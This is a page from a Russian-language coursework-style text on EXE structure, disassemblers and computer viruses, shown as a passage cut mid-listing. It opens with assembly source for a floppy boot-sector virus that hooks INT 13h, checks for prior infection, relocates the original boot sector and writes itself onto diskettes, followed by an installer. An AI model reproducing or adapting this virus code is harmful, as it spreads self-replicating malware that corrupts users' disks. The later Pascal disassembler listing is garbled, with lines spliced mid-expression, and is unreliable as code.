Семантический анализ структуры EXE файла и дисассемблер (с примерами и исходниками), вирусология
push ax ; и его в стек тоже
mov cx,200h ; но сперва надо перенести свое тело
cld ; в этот вот сегмент
rep movsb ; переносим
retf ; переход через стек
inst_int: ; здесь мы уже в новом сегменте
mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original
mov ds:[0e0h*4],ax ;
mov ax,ds:[13h*4+2] ;
mov ds:[0e0h*4+2],ax ;
mov word ptr ds:[13h*4],offset int13 ; INT 13h=наш обработчик
mov ds:[13h*4+2],cs ;
xor cx,cx
push cx ; снова подготовка к переходу
push bx ; через стек в точку 0000:7C00h
mov es,cx
mov ax,0201h ; читать нормальный бут-сектор
mov cx,cs:floppy_sect ; вот отсюда его и читать
mov dh,cs:floppy_head ;
xor dl,dl ; с диска А: естественно
int 0e0h ; вызов оригинального INT 13h
run_boot:
retf ; запустить бут.
;------ *** Hаш обработчик INT 13h *** -------
int13: mov cs:shit,ax ; сохраним ax
int 0e0h ; выполним операцию
jnc int_continue ; если была ошибка уходим
jmp int_exit
int_continue:
pushf ; флаги запомнить надо!
cmp byte ptr cs:[shit+1],2 ; reading sectors?
jnz g1
cmp cx,0001
jne g1
cmp dh,0 ; читаем бут
jne g1
cmp dl,01 ; не с винта надеюсь?
jna fkс_boot
g1: jmp get_out
;------------- Обработчик чтения бута с дискеты ---------------
fkс_boot:
pusha
push ds es
push es
pop ds
lea di,fkс ; сравним то что у нас по смещению fkс
mov ax,cs:[di] ; с тем что мы прочитали по тому же смещению
mov si,bx ; Так мы проверяем заражен ли
add si,offset fkс ; уже нами бут-сектор
cmp ax,[si] ;
jz exit_boot_work ; если нет то уйдем отсюда
cmp dl,1 ; на всякий пожарный :) В принципе можете
ja exit_boot_work ; эту проверку выкинуть - она уже была
find_place: ; поиск места куда прятать старый бут-сектор
mov ax,[bx+16h] ; ax=число секторов в FAT
mul byte ptr [bx+10h] ; умножим его на число FAT
add ax,[bx+0eh] ; прибавим число резервных секторов для FAT--
push dx ; запомним dx - там номер диска и сторона |
mov cl,4 ; |
mov dx,[bx+11h] ; dx=число элементов корневого каталога |
; 1 элемент занимает 32 байта |
shr dx,cl ; поделим его на 16 - получим число сектров |
; корня, вроде бы так... |
add ax,dx ; прибавим к AX------------------------------
dec ax ; уменьшим на 1
; в AX порядковый номер последнего сектора
; ROOT'a... ???
mov cx,[bx+18h] ; cx=число секторов на дорожке
push cx ; запомним его
shl cx,1 ; умножим на 2
xor dx,dx ; dx=0
div cx ; поделим DX:AX на CX
pop cx ; вытащим CX из стека - там число секторов на
; дорожке было
push ax ; запомним частное от предыдущего деления
mov ax,dx ; в AX занесем остаток от деления
xor dx,dx ; DX=0
div cx ; поделим еще раз
mov dh,al ; DH=номер головки
mov cl,dl ; CL=номер сектора
pop ax ; выкинем AX
mov ch,al ; CH=номер дорожки
inc cl ; прибавим к нему 1
pop ax ; AX=бывшее DX - там была сторона и номер
; дисковода
mov dl,al ; номер в DL
mov cs:floppy_sect,cx ; то что получилось запомним
mov cs:floppy_head,dh
;---------all found dh,cx rules---------
mov ax,0301h ; записать старый бут куда надо
int 0e0h
jc exit_boot_work ; если была ошибка - прекратить работу
; чтобы не убить диск совсем
; можно этого и не делать, едва ли что
; случится - вероятность того что вычисленный
; нами сектор BAD очень низка, но...
push cs
pop es
lea di,table ; скопируем из бута в свое тело таблицу
mov si,bx ; параметров диска
add si,offset table ;
mov cx,4ch-3 ;
rep movsb ;
push cs
pop es
mov ax,0301h ; запишемся в бут-сектор
xor bx,bx
mov cx,0001
xor dh,dh
int 0e0h
exit_boot_work:
pop es ds ; восстановим все что убили
popa
get_out:
popf ; и флаги обязательно
int_exit:
retf 2 ; выход из прерывания
;-------------data block--------------
floppy_sect dw 2f08h
floppy_head db 01
shit dw 0
org 510
sign dw 0aa55h ; чтобы не выдавали сообщения NDD и прочие...
; это просто метка системного сектора
; ----- Инсталлятор вируса в бут дискеты -----
install:
mov cs:[0000],4aebh
mov byte ptr cs:[0002],090h ; нужная команда
push ds
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov ds:[0e0h*4],ax
mov ax,ds:[13h*4+2]
mov ds:[0e0h*4+2],ax
mov word ptr ds:[13h*4],offset int13
mov ds:[13h*4+2],cs
pop ds
push cs
pop es
mov ax,0201h
mov cx,0001
mov dx,0000
mov bx,offset our_buffer
int 13h
xor ax,ax
mov ds,ax
mov ax,ds:[0e0h*4]
mov ds:[13h*4],ax
mov ax,ds:[0e0h*4+2]
mov ds:[13h*4+2],ax
mov ax,4c00h
int 21h
our_buffer:
end start
Существуют очень много вирусов, под разные операционные системы, имеющие
различные цели, написанные на разных языках высокого и низкого уровней.
МЕТОДЫ БОРЬБЫ С ВИРУСАМИ.
Почему-то многие считают, что антивирус может обнаружить любой вирус,
то есть, запустив антивирусную программу или монитор, можно быть абсолютно
уверенным в их надежности. Дело в том, что антивирус - это тоже программа,
конечно, написанная профессионалом. Но эти программы способны распознавать
и уничтожать только известные вирусы. На 100% защититься от вирусов
практически невозможно (как если бы, пользователь меняется дискетами с
друзьями, а также получает информацию из других источников, например из
сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом
невозможно - сам он ни когда не родится.
Наиболее широкое распространение по борьбе с вирусами получили такие
программы как DrWeb и AVP. Благодаря своим новейшим детекторам, они могут
обнаружить любые вирусы - как самые старые, так и только что появившиеся.
Всегда нужно проверять файлы, попадающие на компьютер. Любой из них может
быть заражен вирусом, это нужно помнить. Стараться никогда не давать
работать посторонним на вашем компьютере - именно они
чаще всего приносят вирусы. Особое внимание следует уделять играм -
чаще всего вирусы распространяются именно так. Новые игры и программы
всегда нужно проверять на вирус.
4. Дисассемблер
Когда готовый программный продукт, можно будет редактировать,
переделывать по своему желанию, увидеть исходное написанной программы – это
называется дисассемблированием.
Существуют множество готовых программ-дисассемблеров, такие как: Hex-
редакторы, Win32Dasm, DASM v3, Dasm048 (для 486 процессоров), DASM6208 и
т.д. Но недостатки всех этих дисассемблеров в том что в них не указывают
например директивы (Директивы этой группы предназначены для управления
видом файла листинга. Все директивы являются парными — это означает, что
если одна директива что-то разрешает, то другая, наоборот, запрещает), а
так же все они не способны полностью восстановить исходное программы. Чтобы
вносить изменения в программу нужны достаточно хорошие знания ассемблера.
6. Программы
1) Программы выполненная на ассемблере. Запустив программу можно вводит до
256 символов и одновременно выводить на экран(аналогичность команды DOS-
“copy con”). Выход клавишей ENTER. Здесь так же можно изменять вид экрана,
цветовую палитру, прокрутку экрана, размер курсора.
page 60,132 ;Вывод символа и его скэн кода
model small
title Пробная программа
sseg segment para private 'stack'
dw 32 dup('??')
sseg ends
dseg segment para private 'data'
maska db 30h
KSIM DB 3
ROW DB 0
COL DB 0
SIM DB ' '
SCAN DB ' '
CHISLO DB ' '
STRSIM DB 100 DUP(' ')
dseg ends
cseg segment para private 'code'
assume ss:sseg,ds:dseg,cs:cseg,es:nothing
sum proc far ;Начало программы
push ds
sub ax,ax
push ax
mov ax,dseg
mov ds,ax
MOV AH,00H ;Установка 64-цветного режима
INT 10H
MOV AX,0600H ;Полная прокрутка экрана
MOV BH,07
MOV CX,0000
MOV DX,184FH
INT 10H
MOV AH,01 ; Установка размера курсора
MOV CH,06
MOV CL,07
INT 10H
MOV KSIM,0
MOV ROW,00 ; Задание начальных значении
MOV COL,00
MOV SI,0
MOV KSIM,10
M:
MOV AH,02; Установка курсора
MOV BH,00
MOV DH,ROW
MOV DL,COL
INT 10H
MOV AH,00 ;Ввод символа с клавиатуры
INT 16H
MOV STRSIM[SI],AL
SUB AH,28 ; KLAVISHA ENTER (exit)
JZ M1 ;Переход если ноль
MOV AH,09H ; Вывод очередного символа в позицию курсора
MOV AL,STRSIM[SI]
MOV BH,00
MOV BL,212
MOV CX,1
INT 10H
ADD COL,1
ADD SI,1
INC KSIM
JMP M ;Безусловный переход
M1:
ret ; Возврат из подпрограммы(RET-optional pop-value)
sum endp
cseg ends
end sum
2) Исходник программы дисассемблер выполненный на паскале:
---------- include file IO.INC ---- CUT HERE FOR IO.INC -------------
procedure WriteHex(B: byte);
const
Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';
var
i: integer;
begin
for i:= 1 downto 0 do
write(Hex[((B shr (i shl 2)) and $000F)])
end;
procedure WritelnHex(B: byte);
begin
WriteHex(B);
writeln
end;
procedure WriteHexInt(N: integer);
begin
WriteHex(N shr 8);
WriteHex(N and $00FF)
end;
procedure WritelnHexInt(N: integer);
begin
WriteHex(N shr 8);
WritelnHex(N and $00FF)
end;
procedure WriteAddress(N, M: integer);
begin
WriteHexInt(N);
Write(':');
WriteHexInt(M)
end;
procedure HexString(var Str; N: INTEGER);
const
Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';
var
i: byte;
begin
for i:= 0 to Mem[Seg(Str):Ofs(Str)] - 1 do
Mem[Seg(Str):(Ofs(Str)+Mem[Seg(Str):Ofs(Str)]-i)] :=
Ord(Hex[((N shr (i shl 2)) and $000F)])
end;
procedure WriteDouble(High, Low: INTEGER);
type
LongInt = ARRAY [0..3] OF BYTE;
const
Divisors : ARRAY [0..9] OF LongInt = ( ( 0, 0, 0, 1),
( 0, 0, 0, $A),
( 0, 0, 0, $64),
( 0, 0, 3, $E8),
( 0, 0, $27, $10),
( 0, 1, $86, $A0),
( 0, $F, $42, $40),
( 0, $98, $96, $80),
( 5, $F5, $E1, 0),
($3B, $9A, $CA, 0) );
var
i, j : INTEGER;
CharOffset,
Digit : BYTE;
Rep : ARRAY [0..9] OF CHAR;
Number : LongInt absolute Low;
OldNumber : LongInt;
stop : BOOLEAN;
begin
CharOffset := Ord(' ');
OldNumber := Number;
Rep := ' ';
for i:=9 downto 0 do begin
Digit := 0;
Number := OldNumber;
stop := false;
repeat
(* subtract Divisor from TestNumber *)
for j:=0 to 3 do begin
Number[j] := Number[j] - Divisors[i][3-j];
if (Number[j] > OldNumber[j]) AND (j<>3) then
Number[j+1] := number[j+1] - 1;
end;
if (Number[3] \io.inc *)
(*$I \sort.box *)
const
SymbolTableSize = 2000;
type
TableEntry = RECORD
offset,
reference : INTEGER;
reftype : ReferenceTypes;
position : BYTE
END;
var
SymbolTable,
AuxTable : ARRAY [0 .. SymbolTableSize] OF TableEntry;
Current_SymbolTable_Index,
Symbol_Table_Length,
SortInputIndex,
SortOutputIndex,
SortStatus : INTEGER;
(* TOOLBOX SORT interface *)
procedure Inp;
begin
while SortInputIndex < Symbol_Table_Length do begin
SortRelease(SymbolTable[SortInputIndex]);
SortInputIndex := succ(SortInputIndex)
end;
end;
procedure Outp;
begin
while (NOT SortEOS) AND (SortOutputIndex blank) AND (Line[CharPos] <> tab)
*)
(* AND (Line[CharPos] <> semicolon) )
*)
(* AND (CharPos blank) *)
(* AND (Line[CharPos] <> tab) *)
(* AND (Line[CharPos] <> comma) *)
(* AND (Line[CharPos] <> semicolon) *)
(* AND (CharPos Length(Line) ) *)
(* remark: this function should perhaps be inline *)
if CharPos > Ord(Line[0]) then Stop := true
else if Line[CharPos] = semicolon then begin
Stop := true;
Result.Comment := CharPos
end
else Stop := false
end;
function Appropriate: BOOLEAN;
(* Find out whether the current line should be parsed *)
var
k: INTEGER;
begin
CharPos := 1;
if (Length(Line) semicolon then begin
Appropriate := true;
if Line[k] = colon then begin
CharPos := k + 1;
end
end else begin
Appropriate := false;
Result.Comment := k
end
end
end;
begin (* ParseLine *)
with Result do begin
TypeOverride := None;
Offset[0] := Chr(0);
HexCode[0] := Chr(0);
OpCode[0] := Chr(0);
Operand1[0] := Chr(0);
Operand2[0] := Chr(0);
Comment := Ord(Line[0]) + 1;
if NOT Appropriate then goto EndParseLine;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBT;
(* Offset := Copy(Line, k, CharPos-k); *)
Offset[0] := Chr(CharPos-k);
Move(Line[k], Offset[1], CharPos-k);
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBT;
(* HexCode := Copy(Line, k, CharPos-k); *)
HexCode[0] := Chr(CharPos-k);
Move(Line[k], HexCode[1], CharPos-k);
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBT;
(* OpCode := Copy(Line, k, CharPos-k); *)
OpCode[0] := Chr(CharPos-k);
Move(Line[k], OpCode[1], CharPos-k);
SkipBT; if Stop then goto EndParseLine;
(* at first operand *)
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Operand1[0] := Chr(CharPos-k);
Move(Line[k], Operand1[1], CharPos-k);
case Operand1[1] of
'B': if Operand1 = 'BYTE' then begin
TypeOverride := B;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Operand1[0] := Chr(CharPos-k);
Move(Line[k], Operand1[1], CharPos-k);
end;
'W': if Operand1 = 'WORD' then begin
TypeOverride := W;
SkipBT; if Stop then goto EndParseLine;
SkipUBT;
SkipBT; if Stop then goto EndParseLine;
k := CharPos;
SkipUBTC;
(* Operand1 := Copy(Line, k, CharPos-k); *)
Страницы: 1, 2, 3, 4, 5, 6, 7
|